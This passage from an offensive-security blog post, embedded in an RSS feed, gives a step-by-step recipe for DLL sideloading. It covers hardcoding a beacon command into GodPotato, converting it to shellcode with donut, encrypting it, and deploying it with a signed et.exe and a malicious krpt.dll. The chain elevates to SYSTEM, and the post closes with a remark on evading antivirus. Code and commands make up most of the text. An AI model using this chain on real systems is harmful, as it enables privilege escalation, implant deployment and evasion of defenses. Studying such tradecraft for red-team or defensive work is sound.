    D --&gt; E[&#34;Rename to et.dat&#34;]
    E --&gt; H[&#34;Deploy together&#34;]
    F[&#34;et.exe &#43; krpt.dll&#34;] --&gt; H
    G[&#34;beacon.exe&#34;] --&gt; H
    H --&gt; I[&#34;Run et.exe in SeImpersonate-capable context&#34;]
    I --&gt; J[&#34;DLL runs GodPotato (not heavy work in DllMain)&#34;]
    J --&gt; K[&#34;Elevate and run beacon → SYSTEM session&#34;]</div>
<h4 id="step-1-hardcode-the-beacon-command">Step 1: Hardcode the beacon command</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-csharp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="n">potatoArgs</span> <span class="p">=</span> <span class="k">new</span> <span class="n">newgodArgs</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Point at beacon on the target—not the signed et.exe</span>
</span></span><span class="line"><span class="cl">    <span class="n">cmd</span> <span class="p">=</span> <span class="s">&#34;cmd /c c:\\users\\public\\downloads\\beacon.exe&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div></div>
<p>Build as <code>newgod.exe</code>.</p>
<h4 id="step-2-extract-shellcode-with-donut">Step 2: Extract shellcode with donut</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-dos">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code class="language-dos" data-lang="dos">donut.exe -i newgod.exe</code></pre></div>
<p>Sample output:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[ Shellcode     : &#34;loader.bin&#34;
</span></span><span class="line"><span class="cl">[ File type     : .NET EXE
</span></span><span class="line"><span class="cl">[ Target CPU    : x86+amd64</span></span></code></pre></div></div>
<h4 id="step-3-encrypt-shellcode">Step 3: Encrypt shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py loader.bin loader.dat</span></span></code></pre></div></div>
<p>Rename <code>loader.dat</code> to the name your loader expects (e.g. <code>et.dat</code>).</p>
<h4 id="step-4-deploy-1">Step 4: Deploy</h4>
<p>Place these in the <strong>same directory</strong> (beacon path must match Step 1), e.g. <code>C:\Users\Public\Downloads</code>:</p>
<table>
	<thead>
			<tr>
					<th>File</th>
					<th>Role</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>et.exe</code></td>
					<td>Signed EXE that triggers DLL load</td>
			</tr>
			<tr>
					<td><code>krpt.dll</code></td>
					<td>Malicious DLL: read <code>et.dat</code> → decrypt → execute</td>
			</tr>
			<tr>
					<td><code>et.dat</code></td>
					<td>Encrypted GodPotato shellcode</td>
			</tr>
			<tr>
					<td><code>beacon.exe</code></td>
					<td>Payload GodPotato starts after elevation</td>
			</tr>
	</tbody>
</table>
<p>Run <code>et.exe</code>: DLL decrypts/runs GodPotato shellcode at a safe time (not heavy work in DllMain) → (with SeImpersonate) elevates → runs <code>beacon.exe</code> as <strong>SYSTEM</strong>.</p>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Beacon on disk<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">A plaintext <code>beacon.exe</code> on disk may still be caught by AV. In practice you often re-apply evasion to the beacon or keep it in-memory-only. This section only shows how GodPotato hooks into the sideload chain.</div>
    </div>
</div>]]></description></item></channel></rss>